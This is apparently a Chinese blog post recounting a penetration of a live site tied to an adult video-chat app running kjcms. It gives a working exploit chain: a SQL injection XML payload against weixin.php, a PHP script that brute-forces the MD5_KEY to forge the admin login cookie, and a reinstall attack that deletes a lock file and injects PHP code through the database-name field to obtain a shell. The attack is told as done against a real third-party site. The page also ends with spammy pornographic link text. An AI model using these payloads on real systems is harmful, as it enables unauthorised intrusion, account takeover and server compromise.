<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          記一次有趣的裸聊滲透測試

          共 1519字,需瀏覽 4分鐘

           ·

          2020-12-27 21:56

          打開鏈接,發(fā)現(xiàn)是一個裸聊的app下載,夜神+burp抓包,

          獲取到網(wǎng)址,通過js的文件特征去github查找源碼文件。



          根據(jù)代碼發(fā)現(xiàn)他是一個kjcms,然后去官網(wǎng)下載源碼來進行審計



          sql注入


          在cls_weixin::on_exe方法中,有許多執(zhí)行sql語句的點



          這里注入需要滿足$arr_msg[‘FromUserName’]可控,發(fā)現(xiàn)$arr_msg變量調(diào)用了當(dāng)前類的get_msg()方法,跟進這個方法:


          static function get_msg() {    $arr_return = array();    $cont = file_get_contents("php://input");    //$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt");    if(empty($cont)) return $arr_return;    $request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA);    $arr_return = fun_format::toarray($request);    return $arr_return;}


          發(fā)現(xiàn)$cont是通過post數(shù)據(jù)流獲取的,傳入的xml,繼續(xù)跟進fun_format::toarray


          static function toarray($cont) {    if(gettype($cont) == "string") $cont = json_decode($cont);    $arr = (array)$cont;    foreach($arr as $item=>$key) {        if(gettype($key) == 'object' ) {            $key = self::toarray($key);        } else if(gettype($key) == 'array'){            $key = self::objtoarray($key);        }        $arr[$item] = $key;    }    return $arr;}


          這里不太重要,只是把xml的值轉(zhuǎn)化為數(shù)組,所以在on_exe方法中的$arr_msg數(shù)組是可控的,即可以產(chǎn)生sql注入,經(jīng)過本地測試發(fā)現(xiàn),在on_exe方法中的數(shù)據(jù)查詢很多都不存在表,這里發(fā)現(xiàn)一個點:



          跟進tab_weixin_message::get_one方法,參數(shù)$key是我們可控的,參數(shù)$site_id無關(guān)緊要



          全局查找cls_weixin::on_exe,在根目錄weixin.php調(diào)用了這個方法


          include("inc.php");if(isset($_GET["echostr"])) {    echo $_GET["echostr"];exit;}cls_weixin::on_exe();


          現(xiàn)在就只需要構(gòu)造payload了,這里要進入到執(zhí)行tab_weixin_message::get_one方法,需要進過:


          issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType']?==?'event'->$arr_msg['Event'])?==?'click'



          這個點只能時間盲注,在我本地測試的時候可以通過updatexml(1,if(({}),0x7c,1),1)的方法來實現(xiàn)時間盲注變成布爾注入,目標(biāo)環(huán)境問題無法實現(xiàn),我就寫了個腳本去跑賬號密碼。



          發(fā)現(xiàn)自己傻逼了,在目錄文件中會生成數(shù)據(jù)庫報錯的文件,路徑為:/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)



          知道表結(jié)構(gòu)和字段,直接去目標(biāo)站注入,拿到后臺密碼hash,發(fā)現(xiàn)解密不了,看了下代碼,有鹽,是通過md5(pass+鹽)進行加密的,這里鹽也是在密碼表中可以看到的,發(fā)現(xiàn)也解密不了。


          偽造cookie



          在登錄處,發(fā)現(xiàn)cookie中的kj_s_id和kj_login_time是用來登錄的,感覺可以偽造,這里我跟進下代碼,看下kj_s_id是怎么生成的,驗證登錄處代碼:


          function act_login_verify() {        $arr_return = $this->on_login_verify();        return fun_format::json($arr_return);    }


          跟進on_login_verify方法


          function on_login_verify() {    $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok"));    $arr_fields = array(        "user_name" => fun_get::post("uname"),        "user_pwd"   => fun_get::post("pwd"),        "verifycode" => fun_get::get("verifycode"),        "autologin" => fun_get::get("autologin")    );    if(!fun_is::pwd($arr_fields["user_pwd"])) {        $arr_return["code"] = 7;        $arr_return["msg"]  =  fun_get::rule_pwd("tips");        return $arr_return;    }    $arr = cls_obj::get("cls_user")->on_login($arr_fields);    if( $arr["code"] != 0 ) {        $arr_return = $arr;        return $arr_return;    }    return $arr_return;}


          $arr_fields數(shù)組中獲取登錄的賬號密碼,繼續(xù)跟進on_login方法



          $str_id是通過fun_get::safecode方法來的,現(xiàn)在只需要$perms[‘sid’]是怎么來的,跟進查看,并沒發(fā)現(xiàn)到什么,這里,我直接打印出self::$perms[‘sid’]的值,發(fā)現(xiàn)是ip+時間戳+隨機數(shù)的形式


          echo?self::$perms['sid'];exit;



          發(fā)現(xiàn)這里數(shù)據(jù)存放在數(shù)據(jù)庫的kj_sys_session表中的session_id字段,而session_user_id表示是否登錄在,1表示登錄在,0表示退出了登錄。



          我們有注入點,這個session_id我們可以通過注入來獲取到的,現(xiàn)在跟進fun_get::safecode方法,看cookie中的kj_s_id是怎么加密的



          跟進$str_key變量,看他是從里來的,跟進cls_config::MD5_KEY,發(fā)現(xiàn)他來自data\config\cfg.env.online.php中的MD5_KEY常量。而這個常量是安裝的時候隨意random的五位數(shù)



          最后獲取的$str_return是由3部分組成$str_left,base64($msg_val),$str_right,所以這個$str_key變量需要我們繼續(xù)爆破,并且知道fun_get::safecode方法的$msg_val參數(shù)是ip+時間戳+隨機數(shù)的形式,下面就進行漏洞復(fù)現(xiàn)。


          漏洞復(fù)現(xiàn)



          首先抓取目標(biāo)站后臺登錄時的cookie,如:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg,假設(shè)我的ip地址為104.192.225.86,通過base64為MTAzLjE5Mi4yMjUuODY=,去掉=。本地經(jīng)過測試發(fā)現(xiàn)ip+時間戳+隨機數(shù)通過base64編碼后為36位,所以上面的加密密文就為:


          NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg


          我們通過注入獲取$msg_val參數(shù)和登錄狀態(tài)


          <note>    <ToUserName>ccccToUserName>    <FromUserName>1FromUserName>    <MsgType>eventMsgType>    <Event>clickEvent>    <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#EventKey>note>



          成功讀取到了,這里就需要爆破MD5_KEY,他是五位數(shù)的,用他的代碼修了下php的爆破腳本


          function safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552        $str_key       = $str_key_val;        $str_en_key    = base64_encode($str_key);        $str_md5_key   = md5($str_key);        $str_md5_key_1 = substr($str_md5_key , 0 , 1);        $str_md5_key_2 = substr($str_md5_key , -1 , 1);        $lng_key_1     = ord($str_md5_key_1);        $lng_key_2     = ord($str_md5_key_2);        $lng_x_key1    = substr($lng_key_1,-1,1);        if($lng_key_1 > 9) {            $lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1;        }else{            $lng_x_key2 = $lng_x_key1 * 2;        }        $str_left      = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2));        $lng_2_key1    = substr($lng_key_2 , -1 , 1);        if($lng_2_key1 > 9){            $lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1;        }else{            $lng_2_key2 = $lng_2_key1 * 2;        }        $str_right = base64_encode(substr($str_md5_key , -$lng_2_key2));        if($msg_type == "encode"){            $str_en_id   = base64_encode($msg_val);            $str_en_code = $str_left . $str_en_id . $str_right;            $str_return  = str_replace("=" , "" , $str_en_code);        }else{            $str_left    = str_replace("=" , "" , $str_left);            $str_right   = str_replace("=" , "" , $str_right);            $str_llen    = strlen($str_left);            $str_rlen    = strlen($str_right);            $str_len     = strlen($msg_val);            if($str_len < ($str_llen + $str_rlen)){                $str_return = "";            }else{                $str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen));            }        }        return $str_return;    }

          function getNumber($start=1,$end=99999){ for ($i=$start; $i <= $end; $i++) { $arr[] = substr(str_repeat("0",6).$i,-5,5); } return $arr;}
          $numbers= getNumber(1,99999);foreach ($numbers as $val){ $keyss = safecode('105.112.215.421600227695831','encode',$val)."
          "
          ;
          echo $keyss.':'.strval($val)."
          "
          ;
          if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){ echo $val; exit; }}


          成功獲取到了MD5_KEY,然后我們在通過這個腳本利用這個MD5_KEY來生成kj_s_id



          最后就可以偽造cookie登錄后臺了



          重裝漏洞getshell



          本來以為后臺可以直接修改文件上傳的后綴,發(fā)現(xiàn)事情并沒有那么簡單



          發(fā)現(xiàn)還是限制了php無法上傳,跟進這部分代碼看了下,lib\tab\tab.other.attatch.php



          這里會先獲取上傳文件的后綴,來判斷后綴是否存在$arr_no_allow_ext數(shù)組中,所以會先判斷數(shù)組里面的上傳類型,在判斷允許上傳的類型。這里只有針對windows可以getshell了,我們將上傳類型修改成php(空格),由于windows特性,會把空格去掉。



          然而我們的目標(biāo)是linux,這種方式不行了,再回來看看代碼后臺是否有g(shù)etshell的點,除了在重新安裝的點就沒發(fā)現(xiàn)可以shell的點了(自己太菜了,找到不影響正常功能shell的點)。在文件app\model\install\mod.index.php中的on_config方法:



          mysql的賬號密碼是通過file_put_contents函數(shù)寫入到配置文件\data\config\cfg.env.online.php,并沒有通過這個cms的過濾函數(shù)fun_get::get/post方法,這個方法過濾如下:


          static function filter_base($str_x , $is_reback=false) {    $search = array("&","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10));    $replace = array("/amp;/amp;/amp;","&","&",""","'","<",">",chr(13));    if($is_reback) {        $str_x = str_replace($replace , $search , $str_x);        $str_x = str_replace('\\\'',"'",$str_x);//替換經(jīng)過mysql轉(zhuǎn)義的格式        $str_x = str_replace('\\"','"',$str_x);    }else{        $str_x = str_replace($search , $replace , $str_x);    }    return $str_x;}


          全局查了下,$is_reback參數(shù)都是為默認(rèn)的false,為true的,這個過濾就沒啥影響了。現(xiàn)在重裝漏洞的點可以實現(xiàn)了,需要一處任意文件刪除來將\data\install.inc文件進行刪除就可以重新安裝了。在后臺系統(tǒng)日志處,有一次日志文件刪除的點,這個點不用看代碼都知道可以刪除,因為在fun_get::get/post方法中并沒有過濾/``.



          刪除了install.inc鎖文件就可以進行重新安裝了。在數(shù)據(jù)庫名填上我們的任意php代碼,就可以shell了。



          重裝漏洞雖然可以拿下shell

          但是不推薦使用重裝漏洞

          會影響正常網(wǎng)站的數(shù)據(jù)

          重要的事說三遍

          涉及到重要數(shù)據(jù)千萬不要使用重裝漏洞

          涉及到重要數(shù)據(jù)千萬不要使用重裝漏洞

          涉及到重要數(shù)據(jù)千萬不要使用重裝漏洞


          瀏覽 41
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  亚洲无码视屏 | 人人夜夜i日日 | 美女骚逼 | 久久在线蜜桃 | 五月丁香色婷婷 |